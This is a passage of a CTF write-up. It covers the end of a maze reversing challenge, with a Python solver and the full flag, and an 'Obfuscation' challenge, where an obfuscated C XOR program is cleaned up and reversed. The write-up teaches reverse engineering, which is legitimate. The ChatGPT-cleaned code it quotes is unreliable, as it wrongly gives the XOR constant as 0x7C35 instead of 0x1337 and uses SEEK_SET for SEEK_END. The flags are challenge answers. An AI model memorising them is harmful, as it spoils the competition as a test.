109), (56, 109), (57, 109), (57, 108), (57, 107), (58, 107), (59, 107), (59, 106), (59, 105), (60, 105), (61, 105), (62, 105), (63, 105), (63, 104), (63, 103), (63, 102), (63, 101), (64, 101), (65, 101), (65, 100), (65, 99), (65, 98), (65, 97), (64, 97), (63, 97), (63, 96), (63, 95), (63, 94), (63, 93), (63, 92), (63, 91), (64, 91), (65, 91), (66, 91), (67, 91), (68, 91), (69, 91), (70, 91), (71, 91), (72, 91), (73, 91), (73, 90), (73, 89), (74, 89), (75, 89), (76, 89), (77, 89), (77, 88), (77, 87), (77, 86), (77, 85), (77, 84), (77, 83), (78, 83), (79, 83), (79, 82), (79, 81), (79, 80), (79, 79), (79, 78), (79, 77), (80, 77), (81, 77), (82, 77), (83, 77), (83, 76), (83, 75), (83, 74), (83, 73), (84, 73), (85, 73), (86, 73), (87, 73), (87, 72), (87, 71), (88, 71), (89, 71), (90, 71), (91, 71), (91, 70), (91, 69), (90, 69), (89, 69), (89, 68), (89, 67), (89, 66), (89, 65), (88, 65), (87, 65), (87, 64), (87, 63), (87, 62), (87, 61), (87, 60), (87, 59), (87, 58), (87, 57), (87, 56), (87, 55), (87, 54), (87, 53), (87, 52), (87, 51), (87, 50), (87, 49), (87, 48), (87, 47), (87, 46), (87, 45), (87, 44), (87, 43), (87, 42), (87, 41), (88, 41), (89, 41), (90, 41), (91, 41), (91, 40), (91, 39), (92, 39), (93, 39), (93, 38), (93, 37), (94, 37), (95, 37), (95, 36), (95, 35), (96, 35), (97, 35), (98, 35), (99, 35), (100, 35), (101, 35), (101, 34), (101, 33), (102, 33), (103, 33), (103, 34), (103, 35), (104, 35), (105, 35), (106, 35), (107, 35), (107, 36), (107, 37), (107, 38), (107, 39), (108, 39), (109, 39), (110, 39), (111, 39), (112, 39), (113, 39), (113, 38), (113, 37), (113, 36), (113, 35), (114, 35), (115, 35), (115, 34), (115, 33), (116, 33), (117, 33), (117, 32), (117, 31), (117, 30), (117, 29), (117, 28), (117, 27), (118, 27), (119, 27), (119, 26), (119, 25), (120, 25), (121, 25), (121, 24), (121, 23), (121, 22), (121, 21), (122, 21), (123, 21), (123, 20), (123, 19), (124, 19), (125, 19), (126, 19), (127, 19), (128, 19), (129, 19), (129, 18), (129, 17), (129, 16), (129, 15), (129, 14), (129, 13), (129, 12), (129, 11), (129, 10), (129, 9), (129, 8), (129, 7), (129, 6), (129, 5), (129, 4), (129, 3), (129, 2), (129, 1), (128, 1), (127, 1), (126, 1)]

This is the solve path from start to end. Based on the chall we need to find the hex values that is stored at every location. In the decompiled bytecode we can find the whole hex string that is placed across the whole maze.

Get the flag

So now our final solution will be:

from mazelib.solve.BacktrackingSolver import BacktrackingSolver
from mazelib import Maze
import numpy as np

m_string = "ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÕE\x05\x04Q\x01\x10DP\x10\x00\x00\x01\x00\x00D\x00\x04DAU\x05P\x15\x15j®ú¿ªîëû®¿ëÿûﻺûëºûª¾«ºº´DU\x10\x01\x11\x14T\x04P\x14AD\x01EDQ\x04\x04\x01\x04\x04\x00T\x05\x1aúêîê»»ªïï«û»ï¯»îûîºîÿ®úî¼\x01\x10PUE@\x00@\x05U@\x00EQ\x00\x00Q\x05UD\x04QTT\x16®ë¯¯ï¿ï¯ê»ºÿ¾¯ÿïîºû»¾ëê®ûQ\x00PP\x00\x10\x05\x15UU\x05Q\x01\x11U\x15EDE\x15UDD@\x11»ÿëî®ï®î®ªºë﫪îºîúꪻúúºÑ\x01\x00TTE\x15\x14A\x04\x05QUUA\x00\x14\x05\x00\x14\x00Q\x10UAn¾úïÿúþ¾þ»¿îªººÿëþÿ»¯«¾ë¯õUE\x11\x05\x05\x04EP\x11\x14\x11\x00\x01EE\x14\x14\x15\x00\x11P\x10\x04P\x1eê»ëêî¿®®îë»ë¾»ºëêêþ¿»þ®ªì\x15@\x15\x14@\x04\x04\x04TU\x00EP\x05P\x00P\x10\x14D\x00\x00PUW®¾úï»»úïëªî믺«ë¯ºº¯ºú®»¯P\x00\x00@\x01\x05\x10T\x14A\x05\x05\x01D\x01EQ\x05@P\x05\x05TU\x05¾û»º»îïëëêú»û¾û¿«¯ûë»»ÿûúÐ\x11E\x01PT\x01@\x00\x15\x01\x15Q\x00\x15E\x00\x11EDDP\x00ADo¾¿ï®ïï®ïëïû¯þº®»¿º»ÿÿ«îºð\x11\x10\x04\x14@\x00\x04D\x01AE\x04DTP\x15\x04\x00\x10\x00\x01T\x05Q^þ®ë¿îÿ»ïª»ºû»»ïú®êþú¾«¾ë\xad@\x14\x15P\x04\x10\x04E\x15AAP\x00\x11\x15AT\x15@AA\x15@\x00F¾ï¿¾îºîþûÿ®®¾îê¾ûºûºîÿºÿû\x14@Q\x00AEAQE@\x04\x04TA\x00\x00\x00EQ\x05\x11\x00\x05\x10E«ûûï¯ïê¯«ûïúû믪ê¯ïþ®¯Ð@Q\x11\x14\x04\x05A\x00\x15T\x14\x00D\x11E\x05Q\x11UT\x14UUP{»®¾ÿ»ûûïꮿîÿ¿îë®êë®îêþºðQ\x14\x01Q\x10E@P@TT\x05\x00\x00\x00\x14\x11\x15@P\x14\x00P\x01_ûûûî꫺«þ¿ºþ¿®ê®ïºþ»®û®þíD@\x00\x00\x05TA@@T\x10@\x04\x11ET\x14\x11@EP\x14@\x14\x16®®ªîêî¯êîûîÿïúþ«¾ÿîï¿»®û«\x00UUEE\x15D\x05\x14QA@\x05A\x10TAP\x04\x10\x04@QQ\x11ª¾þêïþëî¿ê¯¿®®ª«ëîëºîûÿªûÕPA\x15\x05D\x04\x15A\x11\x01\x10\x14\x05UTT@\x14Q\x10\x04\x10A\x10n¿»ûî»ëúÿêïê¿þ¿¾ïïúîú»þîê±P\x11A\x05\x00\x05\x10\x14\x01E\x15P\x00\x04\x10TT\x01A\x15E\x00QUZ»îªî¿«ê»»¾¾¿¾îÿê﫺ºï¯ë¯\xadE\x00E@D\x15APDQ\x00T\x10\x14A@\x10\x15\x05P@\x10Q\x05\x16ï¿¿º«ïºþþûê»ûïú»ï®ï¾û¯ëêÿD\x15\x04\x11U\x01Q\x10\x00\x10\x05T\x01AU\x00@\x14\x14\x04A\x10\x14D\x01ﺫ»ÿ¿®þ®¾«ûû««ºî®¯»ªîëû¾Å\x10\x14E\x14\x14\x00@QPUDE\x05\x01E\x14QPPU\x11\x10DE~þ»¾ëê»îþ¿îºûû»úëû»î®®±PQ\x14\x11DTDPQ\x04@\x10\x05\x04\x05UEAE\x15\x05\x11ET^¯¿ëþ®ºÿï¾ïûîûÿ«»î¾þºë»î®ü\x01TQP\x15D@\x00\x10\x01\x01\x01D\x01\x15DQT\x15\x11T\x05AP\x07þ»®®þþ¾þ¯«ÿîûºþ¯ê뺮»ï\x15\x04\x00\x00\x04PD\x10T\x14D\x14\x00\x15\x00AAQU\x14\x00E\x05\x14Qêû«¾»®úþîîî¯þúþ¾¿«ªîëëÀ\x00\x14DP\x00A@\x14APP\x00@PP\x01\x10\x00\x14DD\x10Q\x00j®¾ûîî¾ÿû«îþîû®ú®î»û»ª®îþõUP\x04AQED\x01T\x14ADQ\x04\x15QAD\x10QUQ\x01\x11\x1aê¿®»«¾ûú¾ûîîï¿»»ëêþîªï®¾½\x15\x04\x15Q\x10AT\x15A@\x04\x04\x14\x11\x04\x10EE\x01QEPQA\x06ïªî뺿«êúï¿îúîïï¾»þî»ëûïï\x11\x15TE\x15T\x05\x00E\x04\x10\x04QA\x01\x04\x05@\x04\x10PD\x04@\x11º¯¯¿ú»îÿûî¿ûî»ëû®þ¿®«êêîþÑQ\x15\x05\x10P\x10\x05D\x04APTQ\x04\x11T@@TTTU\x11Enûúú¿ÿºú®î¯ªë»þþ¾ÿª¾¾îïú®ñ@@\x01U\x11QD\x00DT\x05@\x01@A@\x11\x15PPP\x00\x11@\x1aêᆰë®ë««¯»îêªûêë«»ªëîîúíEUP\x01@\x00D\x15\x15\x14\x10Q\x15\x15@\x05@\x15\x04U@D\x11\x15F못¾ºîë뾿º¯¾¯ºïþîþë®ê«û»U\x11\x01\x10\x15AUE\x14QQ@PT\x05@@D\x05DU\x15T\x10E¯þúÿë¿ï«ë¾»ïº®û«þûî¿ê¾ïîþÁ\x00AA@\x10@\x04T\x05\x11\x04\x01UPTP@ATE\x05\x15@\x01{úëû¿¿¿ëîê»úë¾îîïºÿ«¿®ê«ïðUE\x04\x01U\x11T@E\x01UU\x01\x01E\x15\x11DA\x00P\x15\x04@_ª«îûºº«û»ûª®«î¾êï«»ûîÿ®ú¬\x05U@\x15\x01\x01\x01E\x10@@PTD\x00\x14\x04\x04DT\x04\x01\x14\x11G¾»»ºû®®¯î®ûªþÿ»ÿïëªë¿¿PQ\x00P\x04\x14QD\x04TPU\x14\x11\x04@\x00\x14\x01P\x15UU\x14\x01¿»ûþª¾¯û¿¿ïîë¾þúªû¾ÿ¾îëë¯ÔUD@TTUE\x00P\x04AA\x14\x00\x05UPPU\x01DA\x01Pjë»ÿîúþººûúê¾úûîëêëê뻿º»±\x14P\x01\x05@\x15D\x05Q\x01ED\x10@A\x15A\x14@\x05\x05@U\x10Zêï»þûú¯ïëþº«¾þ»º¾ÿî»ï¿ûïíA\x11QEQ\x14\x00\x04PU\x01UP@PQ@PTD@\x01\x10@\x17¾»ºº«ë¯»«êºî«úêþº®î®ÿ»ëúë\x04\x14ED\x05U\x14\x05\x04@\x11\x11DAE@E@\x05T\x04\x10\x00\x11\x15ûë»»»ªÿïëûþûûëþªºîï¾î¾ÄAU\x15\x10\x00DET\x14E@PPDQ\x05DU\x05\x15E\x01\x14A{»ªêᆵ¾®êú«ÿïªï믻þºªî¿ë°\x14T@TQDA\x15@A\x14A\x15\x05@\x04\x10\x05\x00DU\x01D\x04_ªë¿¯¾ë¯êû¿îºê¯¾ë®ëû¿îïï¾ì\x10@\x04A\x00TUT\x04P\x04Q\x00\x11\x01DTD@@A@D\x01V»ªï«û¯ª«®ë»¿ªîëë¯êîîªë»ê«EE\x14UU\x00\x00\x00PDQ\x05\x15D\x15\x15Q\x05E\x14U\x15\x10\x15E®º¾î«¾«»¾¾»î¾û®»®êª»«¿®ûîÔ\x15Q\x05\x04DU\x11AQQ\x05\x10\x11T\x15EUUQ\x14A\x14\x11\x01o«ë¿î®¾ººÿú¾ëªë¿¾þêû¿êµ\x14\x00\x00\x01A\x10\x04E\x04\x05Q\x15E\x15@E\x01\x04\x00\x01\x15A\x15\x15^ëþû»«¯»ú¾îºê»ªîêºþ®ÿ¿þ꿬\x05\x00\x05\x04\x04UE\x01\x10\x15EP\x00\x14\x01\x15U@T\x05A@P\x01Vÿ®«¾ëî®ëª¾ïﻫ»û»»û¾«¾ê¿¿P\x11UDD\x14\x14\x15\x15D\x01\x14\x05\x14DTP\x04Q\x00\x14\x01A@\x01ë«ÿ¯ë¾«ïû請«îþêû¾¯î«û»êïÑ\x15\x00\x14\x04TP\x15AT\x15@U\x01P@\x15\x14P\x01T\x05T\x15Djêë®ûû¾þ»«ëê®ú¯ªûëû¯¾ï«ºþõ\x15U\x10@\x10\x11@\x01\x01\x04EAAAUQ\x04\x11\x14\x01\x10A\x05\x00Zÿîî¾î®¯ê¾ºþûþÿ¿îë¿ï¿«î뻬\x01@\x14T\x15T\x14\x05DQ@@\x10\x01@\x00\x05AQPU\x01\x15\x04G«®¿úþ꯻»ºº¾þê¾ÿ«®ªº¿êú«ï\x15\x05Q\x00\x00UQ\x11QEEP\x10EPP\x14D\x01\x01@\x15\x05TAîêþ¾®ªê«¯¾»¯îûû¾ê꾯»ëÑE\x14\x04QQ\x15ED\x01U\x14\x14Q\x05\x04\x10A\x04E\x15DT\x04\x14nÿêþ»êû®®ëîþúþîû¾îëê®ï¿¾®°@\x00\x04T\x15\x15\x14\x14TAUA@\x10\x14\x01DDEU@P\x04QZ¯ºïª¯û¿îëëêþïºú뺮úªû¾¯¯\xadT\x11\x14\x14PP\x05\x15@\x14U\x00\x11\x05@\x15\x05T\x11T\x04AQQ\x17»ê¿¾û«þê«¿ªï»êºï￾ë¯¿\x11EDT\x14PP\x00TQP\x04\x01\x05Q@AP\x01D\x15UQ\x00Qï¯þêúúï¾ëþ¾ÿª®þ®¯»êªºú¾»ûÁ\x04\x14D\x10\x11\x15\x15\x14@\x11P\x15U\x11TU\x15\x05UPE\x00DT~«ª¿úºúº®î¾»¾¾»úîþºî®ªðTPA\x01Q\x10\x14\x15AP\x01\x10T\x11TU\x00\x01D\x01D\x01TT_ïþºúîþ«®»«®®úëºú®®ïº®úÿª¬\x04\x11Q\x01D\x11Q\x14\x11Q\x11TD\x10AT\x11U\x15EQA\x00PG¿®¿¿»ûÿûûïúþê»î¾º»þ¯î«\x14UP\x04\x10P\x00\x00E\x11\x14\x01\x11A\x11\x00P\x11\x10\x05P@UTU꺿»®ë¿úþ¾ëï¾¾ûª¾®®¾¿ëº«ºÅ@\x00\x10T\x10P\x01\x10\x04DUT\x10\x04\x15PTPEDE\x05\x00E~ú¾ïê»ïîîë¾êªê¿¿ÿ¿¯¾þÿ¾ûïð\x01P\x10UQ\x00EAE\x04EQAAE\x00\x10\x14\x00\x00\x10\x01PA\x1e¯ºÿïúú뻮껪û®ÿ¾ªúïîþíT\x15@\x00\x01AA\x10D\x15\x10\x00\x05E\x05\x01\x11A\x14UQ@P\x04Fû믾úû¿ëþ¾¿»þúïîîþº¿®ûï¯ïE\x05\x14\x10\x11\x04PDTDP\x15T\x05A\x04Q\x10\x04@DP\x01\x10\x01»þïêê«ÿ®ëëþ»«¿ÿûªºûûÿ¯¿îþÀ\x00\x00UEU\x00\x05\x14\x05\x14PEA\x00\x05EED\x04\x04PD\x01\x04{ÿîªî«»®ºï»êº¯úº¯«ªþªþ¯ûîµ\x14\x01U\x11U\x10T\x10A\x00UT\x04EPAU\x14\x04UDP@QZëûë¿»þ¯®ûÿ«êêúû»¯þ¯»¯ºúîí@\x01\x04\x04\x04\x04T\x14\x11P\x00\x10U\x11A\x05\x00\x10PP\x01\x15\x11\x01Fÿþ¾îïÿ¿®¾®þ¿®¾îïêþºþ»êÿî»\x14\x10ED\x11\x10\x10\x15P@ATA\x04\x04A\x15TQ\x05D\x01\x01\x04Eë¾¾»¿îîú¯ªêû¿¿¯ú¾ëª¾ëºïï¾Ð\x15P\x04A\x00\x15@Q\x15E\x04\x00\x01U\x01\x10\x10U@\x15\x05@\x15\x05k꾺¯úî¾ûÿûúþª¾ú¯ú¯ïºëúºîð@\x01ET\x05D\x15PU\x01\x10QU\x10\x01UEEAUD\x05P\x10\x1fÿ뻺¯ÿêîê»ëëë««®ºêºª¾ê¾û¼\x00\x05PEU\x00\x01\x10\x11\x05P@\x04TTQ\x00D\x05\x11D\x15T\x04Gûî¯ïîÿûªîþ¯º®»îÿ¾ú¾êÿ¿êî¿DDAD\x00\x05QQU\x00\x04QTDA\x11\x10\x11EE\x01\x00\x11\x14A®û몾®ú«»»¯ï¾î®ú¿ëû»«¯ÀPEEPA\x00\x11D\x01TA\x04QA\x04\x05T\x11ED\x10PTQz«ú®ÿûï¯êû»îîûªþªÿ®¾»»¾¾ú±Q\x01ADP\x04\x10\x15Q\x11\x14DQ\x15@TP\x11\x00\x04Q\x05AQZúë뻫»îïïÿîú®¿ª¾ê»¯»®ú¿ª\xad\x05DED@DAAA\x14\x00\x11P\x00UDQPPQ\x11\x14AQG¯ê꯫ºº«ÿû¾ï¯ëîªÿê믮»\x11\x05DPEET\x15\x01\x00T@\x15AT\x15\x05AUU\x15@P\x14E»ûëîû®ÿ«ûëîþê»ïêê«þª¿ûëû®ÅPD@DE\x14\x15EDAP@\x10E\x04\x05\x14A@\x01\x00T\x11\x14o®ïþªîêÿ®»úëþïîúûîþ¾¾ï®ÿ¾µ\x00\x14\x00TA\x01P\x00\x10AE@\x11@\x01\x05\x04\x10\x01A\x10EDP^ïªþ¾ªªª¯»ÿû»«ªª»îﻯþîîÿ¼\x01\x15@PUUEU\x11\x00\x00\x00T\x15UD\x14E\x10PQ@\x00\x04\x07úûê¾îþ¿úïÿ¿¾ú뻯»ú»ïëºû®ï\x01@EPD@P\x00D\x00\x10PAE\x10Q\x05TE\x00\x00Q\x05\x11\x11þþÿ¿¯«ûªûþï¿«þ¾û¿ªëê®þ®®ûÀ\x04\x14P\x14\x15A\x15A\x00A\x00\x14@A\x04P\x00E\x05Q\x14QQ\x10j﫯º¯¾û¯¾ûú¾ú«¾¾ê«ûîûº»»õA\x14\x00UQ\x00\x05\x10DQAPATDT\x15T\x15\x01\x00EQ\x04\x1bûê®û»¿®êïî¿¿¿ú¯ë«ë»»¯º«¾½\x01EUA\x10T\x14\x15\x14\x00\x04\x10A\x01QQ\x15\x04A\x14TETPF»ºººîûﺮ»ª¿¯®û«ïºúêê¯þîïU\x01PQ\x01@\x01\x11UPUP\x01QD@@QAADQ\x00QAûþû¾ïúûëîûï¿ê«®®»«¾ëêþþïîÄ\x00\x05AD\x01@DD\x00A\x10\x05E\x01QQ\x15T\x14\x15D\x04\x00\x15oï¾»®þªúþ®îîþ»ïûº»«þ«¯»¯ºõ\x01\x01A\x11PU\x11AQEDPD\x10DQU\x00\x10U\x00DQ\x04Zû»¾ûªº»þþº¿ª®ºêú¯ï®«êì\x01DP\x05\x11EQ\x11\x15PP\x11TQ\x05TA\x10\x11P\x11\x15T\x15\x07ëªþ¾îïÿîêê¿þ¯ª®ë¯þ¿®«êúî»U\x05ETA\x15D\x04AUD\x00T\x15Q@UQTTT\x14\x05\x11Uªîºêï¾»»¾¯»ëïë«îî®êþººþûªÁTD\x01E\x04\x01T\x04\x00\x11DE\x05\x14\x14U\x11P\x04UQ\x01\x10Uj«ÿª¾¯ªºº»¾¾þú¯¿®î«®ûú¯¾êµP\x04\x15D\x11U\x14TE\x01\x11\x04\x01Q\x01\x10\x00\x01\x14\x01\x15QPDZ»úªêë®ë뮺»¿ºïëïïþ¯ê«º¿ë½EAUEE\x01@\x01QQP\x10\x15@E\x15\x04\x14PE\x11\x11\x04U\x07«»ïÿ®»¾®¾º¾ÿ¾ÿ»¾û¯ÿ»¯ï\x01\x11\x15\x15\x10D\x05\x15\x10PTAPU\x05\x05AP\x01E\x10\x10\x04\x05\x01û¾þïþîúê»îþú»ª¾ê¾ªîîû¯îêîÁ\x01\x00\x01\x10DA\x14PA@\x11QQ\x01\x14\x15\x01A\x01\x04PA\x14Unëúúëÿþï¾»¯¾û»ï¿ºº»ï¾þÿ몵DEAUE\x15\x15QPTA\x15\x00D\x10\x05UP\x10AE\x00DPZúººê»»ï«ºúû뺫¾ûë®îêºí\x11@TP\x00\x00D\x00\x04U\x05\x01EPA\x10\x01\x04\x04\x14A\x11\x15QW¾úî¾î«ºªëîëºú¯îû¿®ï¯ï»î¯¯\x00\x05\x14T\x14U\x00U\x15@\x15Q\x10E\x01EU\x11\x11\x14\x00\x04TQU꾫뿾®ëªú®ûﺻ¾ï»¿ïûªÄA\x11ATU\x04T\x10\x14\x11EUPA\x10\x00\x11\x05A\x15\x00\x14\x15P~ëûªû¿ªê®ëú®ë못ê®îëꮪª®´D\x15\x05P\x05UAQDQA@\x04UA\x05Q@\x14DQPQ\x04[ú««î¾®¯ï»ªïªë»ïºêï¯úîÿÿû¼\x01Q\x15\x00T\x04U\x05\x14UDU\x15\x11\x05U\x15\x10Q\x05D\x15E\x04Fîúî뺯úºêûêÿ¿ïú»»úû¾úº®ºëD\x11\x14E\x10T\x00P\x11@\x04\x10\x01\x04\x01\x00\x05\x01@\x01A@\x00\x05Eÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ\x01"
size = 201

grid = []
for i in range(0, size**2):
    if i % size == 0:
        grid.append([])
    grid[-1].append(ord(m_string[i // 8]) >> (7 - i % 8) & 1)

arr = np.array(grid, dtype=np.int8)

m = Maze()
m.grid = arr
m.start = (59, 199)
m.end = (125, 1)

m.solver = BacktrackingSolver()
m.solve()
solution = m.solutions[0]

chars = "1b2abc5145a7373d3...REDACTED...02197"

flag = "".join([chars[i[0] * size + i[1]] for i in solution])
print(flag)

When we run this it will give us the flag:

image

Wrap this with intigriti and submit it!

INTIGRITI{d4842a6e6519c3838d3387400e6237db2a4d2db5ceb8740d8ce094f22527c25f33615746336af6d897f9d7491ff782cf9e71de332b49b771b7eae33ecce7c8fa26fe722367066d333ac4f30f699b0c103dfd8eedac6bfe504834301da7ea48e63e2b2afa74aa8279bd2df1fd101cd83de6a0882639df1b6be4eff18bb51670fe447a9bbbed22a717733e4e60b6cfaa7b4c2c6a3a0b81a89639d09645959ddfcd30c970436f6137accc3243586581b5c946825202b7e1192}

Obfuscation

CTF1337UP LIVE CTF 2023 (CTFtime)
Author0xM4hm0ud
CategoryReversing
Solves211
DifficultyEasy
Filesobfuscation.zip

image

Solution

We get 2 files after unzipping the zip. One is an output file with some weird string the other file is an obfuscated c program:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
int o_a8d9bf17d390687c168fe26f2c3a58b1[]={42, 77, 3, 8, 69, 86, 60, 99, 50, 76, 15, 14, 41, 87, 45, 61, 16, 50, 20, 5, 13, 33, 62, 70, 70, 77, 28, 85, 82, 26, 28, 32, 56, 22, 21, 48, 38, 42, 98, 20, 44, 66, 21, 55, 98, 17, 20, 93, 99, 54, 21, 43, 80, 99, 64, 98, 55, 3, 95, 16, 56, 62, 42, 83, 72, 23, 71, 61, 90, 14, 33, 45, 84, 25, 24, 96, 74, 2, 1, 92, 25, 33, 36, 6, 26, 14, 37, 33, 100, 3, 30, 1, 31, 31, 86, 92, 61, 86, 81, 38};void o_e5c0d3fd217ec5a6cd022874d7ffe0b9(char* o_0d88b09f1a0045467fd9afc4aa07208c,int o_8ce986b6b3a519615b6244d7fb2b62f8){assert(o_8ce986b6b3a519615b6244d7fb2b62f8 == 24);for (int o_b7290d834b61bc1707c4a86bad6bd5be=(0x0000000000000000 + 0x0000000000000200 + 0x0000000000000800 - 0x0000000000000A00);(o_b7290d834b61bc1707c4a86bad6bd5be < o_8ce986b6b3a519615b6244d7fb2b62f8) & !!(o_b7290d834b61bc1707c4a86bad6bd5be < o_8ce986b6b3a519615b6244d7fb2b62f8);++o_b7290d834b61bc1707c4a86bad6bd5be){o_0d88b09f1a0045467fd9afc4aa07208c[o_b7290d834b61bc1707c4a86bad6bd5be] ^= o_a8d9bf17d390687c168fe26f2c3a58b1[o_b7290d834b61bc1707c4a86bad6bd5be % sizeof((o_a8d9bf17d390687c168fe26f2c3a58b1))] ^ (0x000000000000266E + 0x0000000000001537 + 0x0000000000001B37 - 0x00000000000043A5);};};int o_0b97aabd0b9aa9e13aa47794b5f2236f(FILE* o_eb476a115ee8ac0bf24504a3d4580a7d){if ((fseek(o_eb476a115ee8ac0bf24504a3d4580a7d,(0x0000000000000000 + 0x0000000000000200 + 0x0000000000000800 - 0x0000000000000A00),(0x0000000000000004 + 0x0000000000000202 + 0x0000000000000802 - 0x0000000000000A06)) < (0x0000000000000000 + 0x0000000000000200 + 0x0000000000000800 - 0x0000000000000A00)) & !!(fseek(o_eb476a115ee8ac0bf24504a3d4580a7d,(0x0000000000000000 + 0x0000000000000200 + 0x0000000000000800 - 0x0000000000000A00),(0x0000000000000004 + 0x0000000000000202 + 0x0000000000000802 - 0x0000000000000A06)) < (0x0000000000000000 + 0x0000000000000200 + 0x0000000000000800 - 0x0000000000000A00))){fclose(o_eb476a115ee8ac0bf24504a3d4580a7d);return -(0x0000000000000002 + 0x0000000000000201 + 0x0000000000000801 - 0x0000000000000A03);};int o_6a9bff7d60c7b6a5994fcfc414626a59=ftell(o_eb476a115ee8ac0bf24504a3d4580a7d);rewind(o_eb476a115ee8ac0bf24504a3d4580a7d);return o_6a9bff7d60c7b6a5994fcfc414626a59;};int main(int o_f7555198c17cb3ded31a7035484d2431,const char * o_5e042cacd1c140691195c705f92970b7[]){char* o_3477329883c7cec16c17f91f8ad672df;char* o_dff85fa18ec0427292f5c00c89a0a9b4=NULL;FILE* o_fba04eb96883892ddecbb0f397b51bd7;if ((o_f7555198c17cb3ded31a7035484d2431 ^ 0x0000000000000002)){printf("\x4E""o\164 \x65""n\157u\x67""h\040a\x72""g\165m\x65""n\164s\x20""p\162o\x76""i\144e\x64""!");exit(-(0x0000000000000002 + 0x0000000000000201 + 0x0000000000000801 - 0x0000000000000A03));};o_fba04eb96883892ddecbb0f397b51bd7 = fopen(o_5e042cacd1c140691195c705f92970b7[(0x0000000000000002 + 0x0000000000000201 + 0x0000000000000801 - 0x0000000000000A03)],"\x72""");if (o_fba04eb96883892ddecbb0f397b51bd7 == NULL){perror("\x45""r\162o\x72"" \157p\x65""n\151n\x67"" \146i\x6C""e");return -(0x0000000000000002 + 0x0000000000000201 + 0x0000000000000801 - 0x0000000000000A03);};int o_102862e33b75e75f672f441cfa6f7640=o_0b97aabd0b9aa9e13aa47794b5f2236f(o_fba04eb96883892ddecbb0f397b51bd7);o_dff85fa18ec0427292f5c00c89a0a9b4 = (char* )malloc(o_102862e33b75e75f672f441cfa6f7640 + (0x0000000000000002 + 0x0000000000000201 + 0x0000000000000801 - 0x0000000000000A03));if (o_dff85fa18ec0427292f5c00c89a0a9b4 == NULL){perror("\x4D""e\155o\x72""y\040a\x6C""l\157c\x61""t\151o\x6E"" \145r\x72""o\162");fclose(o_fba04eb96883892ddecbb0f397b51bd7);return -(0x0000000000000002 + 0x0000000000000201 + 0x0000000000000801 - 0x0000000000000A03);};fgets(o_dff85fa18ec0427292f5c00c89a0a9b4,o_102862e33b75e75f672f441cfa6f7640,o_fba04eb96883892ddecbb0f397b51bd7);fclose(o_fba04eb96883892ddecbb0f397b51bd7);o_e5c0d3fd217ec5a6cd022874d7ffe0b9(o_dff85fa18ec0427292f5c00c89a0a9b4,o_102862e33b75e75f672f441cfa6f7640);o_fba04eb96883892ddecbb0f397b51bd7 = fopen("\x6F""u\164p\x75""t","\x77""b");if (o_fba04eb96883892ddecbb0f397b51bd7 == NULL){perror("\x45""r\162o\x72"" \157p\x65""n\151n\x67"" \146i\x6C""e");return -(0x0000000000000002 + 0x0000000000000201 + 0x0000000000000801 - 0x0000000000000A03);};fwrite(o_dff85fa18ec0427292f5c00c89a0a9b4,o_102862e33b75e75f672f441cfa6f7640,sizeof(char),o_fba04eb96883892ddecbb0f397b51bd7);fclose(o_fba04eb96883892ddecbb0f397b51bd7);free(o_dff85fa18ec0427292f5c00c89a0a9b4);return (0x0000000000000000 + 0x0000000000000200 + 0x0000000000000800 - 0x0000000000000A00);};

We can ask ChatGPT to clean the code. The output is:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>

int key[] = {42, 77, 3, 8, 69, 86, 60, 99, 50, 76, 15, 14, 41, 87, 45, 61, 16, 50, 20, 5, 13, 33, 62, 70, 70, 77, 28, 85, 82, 26, 28, 32, 56, 22, 21, 48, 38, 42, 98, 20, 44, 66, 21, 55, 98, 17, 20, 93, 99, 54, 21, 43, 80, 99, 64, 98, 55, 3, 95, 16, 56, 62, 42, 83, 72, 23, 71, 61, 90, 14, 33, 45, 84, 25, 24, 96, 74, 2, 1, 92, 25, 33, 36, 6, 26, 14, 37, 33, 100, 3, 30, 1, 31, 31, 86, 92, 61, 86, 81, 38};

void decrypt(char *data, int length) {
    assert(length == 24);
    for (int i = 0; i < length; ++i) {
        data[i] ^= key[i % sizeof(key)] ^ 0x7C35;
    }
}

int getFileSize(FILE *file) {
    if (fseek(file, 0x200 + 0x800 - 0xA00, SEEK_SET) < 0) {
        fclose(file);
        return -2;
    }
    int size = ftell(file);
    rewind(file);
    return size;
}

int main(int argc, const char *argv[]) {
    if (argc != 2) {
        printf("Not enough arguments provided!\n");
        return -2;
    }

    FILE *inputFile = fopen(argv[1], "r");
    if (inputFile == NULL) {
        perror("Error opening file");
        return -2;
    }

    int fileSize = getFileSize(inputFile);
    if (fileSize < 0) {
        return fileSize;
    }

    char *data = (char *)malloc(fileSize + 2);
    if (data == NULL) {
        perror("Memory allocation error");
        fclose(inputFile);
        return -2;
    }

    fgets(data, fileSize, inputFile);
    fclose(inputFile);

    decrypt(data, fileSize);

    FILE *outputFile = fopen("output", "wb");
    if (outputFile == NULL) {
        perror("Error opening file");
        free(data);
        return -2;
    }

    fwrite(data, fileSize, sizeof(char), outputFile);
    fclose(outputFile);

    free(data);
    return 0;
}

We can see it does a simple xor with the input we give. We can do the reverse to get the flag:

#include <stdio.h>
#include <stdlib.h>

int arr[] = {42, 77, 3, 8, 69, 86, 60, 99, 50, 76, 15, 14, 41, 87, 45, 61, 16, 50, 20, 5, 13, 33, 62, 70, 70, 77, 28, 85, 82, 26, 28, 32, 56, 22, 21, 48, 38, 42, 98, 20, 44, 66, 21, 55, 98, 17, 20, 93, 99, 54, 21, 43, 80, 99, 64, 98, 55, 3, 95, 16, 56, 62, 42, 83, 72, 23, 71, 61, 90, 14, 33, 45, 84, 25, 24, 96, 74, 2, 1, 92, 25, 33, 36, 6, 26, 14, 37, 33, 100, 3, 30, 1, 31, 31, 86, 92, 61, 86, 81, 38};

void deobfuscate(char *enc) {
    for (int i = 0; i < 24; ++i) {
        enc[i] ^= 0x1337 ^ arr[i % sizeof(arr)];
    }
}

int main(void)
{
	FILE *fp;
	char *enc = NULL;

	fp = fopen("output", "rb");
    if (fp == NULL) {
        perror("Error opening file");
        return -1;
    }

    enc = (char *)malloc(24);
    if (enc == NULL) {
        perror("Memory allocation error");
        fclose(fp);
        return -1;
    }

    fgets(enc, 24, fp);
    fclose(fp);

    deobfuscate(enc);
    printf("%s\n", enc);
    free(enc);
    return 0;
}

After compiling and running we get:

image

Lunar Unraveling Adventure

CTF1337UP LIVE CTF 2023 (CTFtime)
